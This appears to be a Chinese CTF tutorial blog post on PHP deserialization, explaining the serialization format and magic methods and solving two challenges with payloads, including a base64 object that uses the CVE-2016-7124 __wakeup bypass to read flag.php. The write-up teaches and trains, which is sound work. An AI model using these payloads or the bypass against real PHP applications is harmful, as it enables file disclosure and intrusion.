前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF竞赛 | PHP反序列化基础

CTF竞赛 | PHP反序列化基础

作者头像
安全小王子
发布2021-02-24 14:25:33
1.2K0
发布2021-02-24 14:25:33
举报
文章被收录于专栏:betasecbetasec

通过序列化与反序列化我们可以很方便的在PHP中传递对象,下面小编给大家介绍反序列化的原理和一些常见的利用方式。

01

序列化和反序列化概述

(1)序列化和反序列化:

  • 序列化:将对象的状态信息转换成可存储或者传输的形式过程;
  • 反序列化:将可存储或者传输的形式过程恢复为对象的过程;
  • 存储形式:二进制、XML、JSON

(2)常见反序列化漏洞:

  • Weblogic: CVE-2018-2893、CVE-2018-2628、CVE-2017-10271
  • Jboss: CVE-2017-12149、CVE-2017-7504
  • Jenkins:CVE-2017-1000353、CVE-2016-0792
  • NODE.JS CVE-2017-5941

(3) 访问控制修饰符

根据访问控制修饰符的不同序列化后的属性长度和属性值会有所不同:

  • public:公有;
  • protected:受保护的,被序列化的时候属性值会变成:%00*%00属性名;
  • private:私有的,属性被序列化的时候属性值会变成:%00类名%00属性名;

序列化示例

代码语言:javascript
复制
<?php      
class test{             
  private $flag = "flag{this-is-flag}";             
  public $a = "snail";             
  static  $b = "beta";         
}     

$test = new test;     //建立一个test的对象;
$data = serialize($test);   //将对象进行序列化;
echo $data; 
?>

各个字段的解释如下所示:

代码语言:javascript
复制
O:#指Object(对象)
4:#代表对象的名称有4个字符,如test包含4个字符;
test:#表示test对象;
2:#表示2个属性值;
s:#表示字符串;
10:#表示属性名长度;
testflag:      #表示属性名;
s:18:"flag(this-is-flag)"     #字符串,属性值长度,属性值;

反序列化示例

代码语言:javascript
复制
<?php      
class test{             
  private $flag = "flag{this-is-flag}";             
  public $a = "snail";             
  static $b = "beta";         
}     
$test = new test;  //建立一个test的对象;    
$data = serialize($test);   //将对象进行序列化;    
$undata = unserialize($data);     
var_dump($undata); 
?>

02

反序列化中常用的魔术函数

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。下面列举了序列化与反序列化过程中常用的几个魔术函数:

代码语言:javascript
复制
 __construct()       #当一个对象创建时触发    
 __destruct()        #当一个对象被销毁时触发     
 __toString()        #把类当作字符串使用时触发     
 __call()            #在对象上下文中调用不可访问的方法时触发     
 __callStatic()      #在静态上下文中调用不可访问的方法时触发     
 __get()             #用于从不可访问的属性读取数据时     
 __set()             #用于将数据写入不可访问的属性     
 __wakeup()          #使用unserialize时触发 ,unserialize() 会检查是否存在一个 __wakeup() 方法。
 __sleep()           #使用serialize时触发,serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。  
 __isset()           #在不可访问的属性上调用isset()或empty()触发     
 __unset()           #在不可访问的属性上使用unset()时触发     
 __invoke()          #当脚本尝试将对象调用为函数时触发     
 __autoload()        #尝试加载未定义的类时触发     
 __clone()           #当对象复制完成时触发

03

小试牛刀

D0g3平台上一道简单的反序列化的题,通过GET请求方式读取str内容,并进行反序列化等于$KEY就可以获取flag内容了。题目代码如下所示:

代码语言:javascript
复制
<?php 
error_reporting(0); 
include "flag.php"; 
$KEY = "D0g3!!!"; 
$str = $_GET['str']; 
if (unserialize($str) === "$KEY") {         
echo "$flag"; 
} 
show_source(__FILE__);

通过本地生成序列化字符串

代码语言:javascript
复制
<?php      
class test{                        
  protected $a = "D0g3!!!";                  
}    
$test = new test;     //建立一个test的对象;
$data = serialize($test);   //将对象进行序列化;
echo $data; 
?>

payload:http://127.0.0.1/web/web1/unserialize.php?str=s:7:"D0g3!!!";

04

菜鸟进阶

如下所示,为本道题的源码,通过 __destruct 方法中 show_source(dirname (__FILE__).'/'.$this ->file); 读取flag.php,构造序列化对象然后base64编码,经过unserialize将file设为flag.php,但是,进行反序列化之前会优先执行__wakeup()函数,将file设置成index.php。所以此处需要绕过__wakeup()函数。此处就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

代码语言:javascript
复制
<?php    
class SoFun{    
  protected $file='index.php';   
  function __destruct(){      
    if(!empty($this->file)) {       
    if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)         
    show_source(dirname (__FILE__).'/'.$this ->file);       
  else         
  die('Wrong filename.');     
  }   
  }     
  function __wakeup(){    
  $this-> file='index.php';   
  }    
  public function __toString() { return '' ; 
  }   
}      
if (!isset($_GET['file'])){    
show_source('index.php'); 
} 
else{    
$file=base64_decode($_GET['file']); 
echo $file;   
echo unserialize($file); }  #<!--key in flag.php-->

通过本地生成序列化字符串

代码语言:javascript
复制
<?php      
class SoFun{                        
    protected $file = "flag.php";                 
}    
$test = new SoFun;     //建立一个test的对象;     
$data = serialize($test);   //将对象进行序列化;     
echo $data; 
?>

此处注意两点:

  1. 对象属性个数的值大于真实的属性个数;
  2. s符号要进行大写;

转成base64编码,payload如下所示:

代码语言:javascript
复制
payload: Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档